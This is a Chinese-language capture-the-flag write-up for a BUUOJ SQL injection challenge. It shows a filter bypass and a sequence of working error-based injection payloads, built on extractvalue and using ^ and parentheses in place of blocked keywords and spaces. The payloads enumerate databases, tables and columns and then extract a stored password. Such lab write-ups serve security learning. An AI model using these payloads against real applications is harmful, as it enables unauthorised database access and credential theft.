题目地址:https://buuoj.cn/challenges
解题思路
第一步:进入题目,使用sql注入
第二步:进行简单测试
-
测试万能密码
1'or 1=1#
,发现被拦截
-
测试and,union select发现被拦截
-
测试extractvalue发现没有被拦截
-
测试extractvalue带空格发现被拦截
-
综上:可以使用^代替and,将关键字使用()包裹代替空格
第三步:获取数据库
-
在密码一栏输入
1'^extractvalue(1,concat(1,(select(group_concat(schema_name))from(information_schema.schemata))))#
获取所有数据库名,发现显示不完整
-
使用right函数获取剩下的数据
1'^extractvalue(1,concat(1,(select(right(group_concat(schema_name),32))from(information_schema.schemata))))#
-
综上可知在geek数据库里查找
第四步:获取表名
- 使用
1'^extractvalue(1,concat(1,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))#
获取表名:H4rDsq1
获取字段名以及flag
-
使用
1'^extractvalue(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))#
获取字段名
-
查看username内容:
1'^extractvalue(1,concat(1,(select(username)from(geek.H4rDsq1))))#
-
查看password获取flag:
1'^extractvalue(1,concat(1,(select(password)from(geek.H4rDsq1))))#
,发现没有显示完全
-
使用right获取后半部分:
1'^extractvalue(1,concat(1,(select(right(password,32))from(geek.H4rDsq1))))#